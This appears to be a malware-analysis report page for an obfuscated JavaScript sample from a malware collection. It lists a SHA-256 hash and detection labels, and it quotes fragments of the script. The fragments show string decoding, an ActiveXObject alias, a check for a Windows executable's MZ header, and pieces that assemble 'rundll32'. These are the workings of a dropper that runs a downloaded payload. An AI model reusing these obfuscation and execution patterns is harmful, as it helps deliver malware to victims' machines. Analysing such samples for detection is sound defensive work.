Hostile ^100% javascript-malware-collection Download

20161221_9df0f3fa5de5a2d70f945f3fc775b685.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256eae0fc72f84dcdfe8b96a1ad1b301ef0a4a4e7da736e4b5a56370671664c474b

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikunhealthyFROG2XCOP = 0;	
9     var SupchikunhealthyRazlomSS, SupchikunhealthyFROG2ddDccC2, SupchikunhealthyFROG2c3, SupchikunhealthyFROG2c4;
10
11     var SupchikunhealthyFROG2out = "";
12
13	 var SupchikunhealthyFROG2Supchikunhealthyka= this.replace(/FROSTICK/gi, SupchikunhealthyFROG2out);
14 var  SupchikunhealthyFROG2len = SupchikunhealthyFROG2 …

charCodeAt() method call lines 18–20

7… r Supchikunhealthykoch = SupchikunhealthyFROG2Supchikunhealthyka.charCodeAt(SupchikunhealthyFROG2XCOP++) &(0x132- 0x33);
          SupchikunhealthyRazlomSS = levitron[Supchikunhealthykoch];
      } while (SupchikunhealthyFROG2XCOP < Supchik …

Builds characters with String.fromCharCode lines 27–30

43… 1== 0)
          break;
      SupchikunhealthyFROG2out += String['fromCharCode']((SupchikunhealthyRazlomSS << 2) | ((SupchikunhealthyFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikunhealthyFROG2c3 = Supchik …

ActiveXObject via local alias lines 185–188

22… FROG2d2=SupchikunhealthyFROG2DoUtra.pop();
186SupchikunhealthyFROG2fabled="Valar2Morgulis";
var SupchikunhealthyFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikunhealthyFROG2d2.split("45");SupchikunhealthyFROG2Native.SupchikunhealthyFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikunhealthyFROG2$type(a)= …

Checks array for PE magic bytes lines 257–264

82… abaev);	
if(SupchikunhealthyTalabaevLaa < 29989)return false;
if (SupchikunhealthyTalabaev[0]!= 77 || SupchikunhealthyTalabaev[1]!= 90)return false;		
SupchikunhealthyFROG2CHICKA = SupchikunhealthyFROG2CHICKA  + SupchikunhealthyFROG2SIDRENKOV;
REBEKK2(SupchikunhealthyFROG2CHICKA, SupchikunhealthyTalabaev );
262
var SupchikunhealthyFROG2ddsSSddSd = ",happy";
264SupchikunhealthyFROG2ddsSSddSd = (SupchikunhealthyFROG2StrokaParam2,"undl") + (SupchikunhealthyFROG2StrokaParam2,"l32 ") + Su …